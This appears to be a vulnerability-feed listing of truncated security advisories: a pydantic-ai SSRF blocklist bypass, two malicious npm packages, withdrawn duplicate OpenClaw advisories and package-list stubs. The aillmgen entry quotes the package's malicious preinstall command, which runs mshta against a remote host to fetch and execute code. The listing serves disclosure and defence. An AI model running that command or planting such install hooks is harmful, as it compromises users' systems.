CVE-2026-48782 pydantic-ai: SSRF blocklist bypass via IPv4-compatible, SIIT/IVI, and local NAT64 IPv6 addresses (incomplete fix of CVE-2026-46678)

Pydantic AI is a Python agent framework for building applications and workflows with Generative AI. In versions 1.56.0 through 1.101.0, 2.0.0b1, and 2.0.0b2, the cloud-metadata blocklist could be bypassed by encoding the metadata IP in an IPv6 transition form that the previous fix, CVE-2026-46678...

MAL-2026-5928 Malicious code in chai-test-mocks (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61a1bfd9f5d478d2cc7c947470544e99015a830dd5ecbb7ad8cdb54976c8d6ef chai-test-mocks impersonates the legitimate chai-jest-mocks package replicated README, reused CircleCI/coveralls badges pointing at chai-jest-mocks b...

Malicious code in chai-test-mocks (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61a1bfd9f5d478d2cc7c947470544e99015a830dd5ecbb7ad8cdb54976c8d6ef chai-test-mocks impersonates the legitimate chai-jest-mocks package replicated README, reused CircleCI/coveralls badges pointing at chai-jest-mocks b...

Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

MAL-2026-5927 Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

GHSA-G796-JQMX-WF9Q Duplicate Advisory: macOS Swift exec allowlist missed combined POSIX inline flags

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-c226-q6fx-6j6c. This link is maintained to preserve external references. Original Description OpenClaw before 2026.5.6 contains an allowlist bypass vulnerability in the macOS Swift exec feature that misses...

Duplicate Advisory: macOS Swift exec allowlist missed combined POSIX inline flags

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-c226-q6fx-6j6c. This link is maintained to preserve external references. Original Description OpenClaw before 2026.5.6 contains an allowlist bypass vulnerability in the macOS Swift exec feature that misses...

Duplicate Advisory: Workspace-derived service PATH could influence trash command selection

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-rx78-29qr-5hq8. This link is maintained to preserve external references. Original Description OpenClaw before 2026.5.2 contains a path traversal vulnerability in maintenance task execution that allows...

GHSA-2W22-3F6X-3HF4 Duplicate Advisory: Workspace-derived service PATH could influence trash command selection

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-rx78-29qr-5hq8. This link is maintained to preserve external references. Original Description OpenClaw before 2026.5.2 contains a path traversal vulnerability in maintenance task execution that allows...

Duplicate Advisory: Exported session HTML could keep unsafe markdown links

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-w9hf-3pp7-pvxv. This link is maintained to preserve external references. Original Description OpenClaw before 2026.5.12 contains a cross-site scripting vulnerability in exported session HTML that preserves unsaf...

GHSA-6XCG-6Q43-RJ2V Duplicate Advisory: Exported session HTML could keep unsafe markdown links

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-w9hf-3pp7-pvxv. This link is maintained to preserve external references. Original Description OpenClaw before 2026.5.12 contains a cross-site scripting vulnerability in exported session HTML that preserves unsaf...

Duplicate Advisory: MCP Streamable HTTP redirects could forward configured custom headers to another origin

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-rjxq-qqhf-8hwh. This link is maintained to preserve external references. Original Description OpenClaw before 2026.5.12 contains an information disclosure vulnerability in streamable-http MCP servers that forwar...

GHSA-X7CF-6GP3-Q5F8 Duplicate Advisory: MCP Streamable HTTP redirects could forward configured custom headers to another origin

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-rjxq-qqhf-8hwh. This link is maintained to preserve external references. Original Description OpenClaw before 2026.5.12 contains an information disclosure vulnerability in streamable-http MCP servers that forwar...

CVE-2026-42500 vulnerabilities

Vulnerabilities for packages: seaweedfs-rocksdb-fips, seaweedfs-fips, seaweedfs, mattermost-fips, seaweedfs-operator, seaweedfs-rocksdb, seaweedfs-operator-fips, gitlab-workhorse-ce...

GHSA-M6FH-WVW4-4629 vulnerabilities

Vulnerabilities for packages: seaweedfs-rocksdb-fips, seaweedfs-fips, seaweedfs, mattermost-fips, seaweedfs-operator, seaweedfs-rocksdb, seaweedfs-operator-fips, gitlab-workhorse-ce...

CVE-2026-46599 vulnerabilities

Vulnerabilities for packages: seaweedfs-rocksdb-fips, seaweedfs-fips, seaweedfs, mattermost-fips, seaweedfs-operator, seaweedfs-rocksdb, seaweedfs-operator-fips, gitlab-workhorse-ce...

GHSA-WFQV-66VQ-46RM vulnerabilities

Vulnerabilities for packages: kyverno-fips, crossplane, slsa-verifier, zot, crossplane-fips, ratify-fips, kyverno-policy-reporter-plugins-kyverno, tekton-chains-fips, vexctl, ko-fips, tkn-fips, aactl, kyverno-notation-aws-fips, kyverno-notation-aws, commercial-chainloop-cli, cloudbeat-fips,...

CVE-2026-24122 vulnerabilities

Vulnerabilities for packages: kyverno-fips, crossplane, slsa-verifier, zot, crossplane-fips, ratify-fips, kyverno-policy-reporter-plugins-kyverno, tekton-chains-fips, vexctl, ko-fips, tkn-fips, aactl, kyverno-notation-aws-fips, kyverno-notation-aws, commercial-chainloop-cli, cloudbeat-fips,...

GHSA-537C-GMF6-5CCF vulnerabilities

Vulnerabilities for packages: crossplane-function-pythonic, openstack-tempest-2025.1, openstack-kolla-toolbox-2025.2, duplicity, apache-beam-python-3.12-sdk, openstack-tempest-2025.2, ansible-operator-fips, openstack-horizon-2025.1, vast-csi, openstack-placement-2025.2, dask-kubernetes,...

CVE-2026-50010 vulnerabilities

Vulnerabilities for packages: druid, kafbat-ui-fips, apache-pulsar-fips, seata, ghidra, docker-selenium, grpc-java-fips, elasticsearch, tez, logstash-fips, thingsboard, tinkerpop, celeborn, logstash, reposilite, camunda-zeebe, spark, cassandra, spark-kubernetes-operator, kayenta-fips, neo4j,...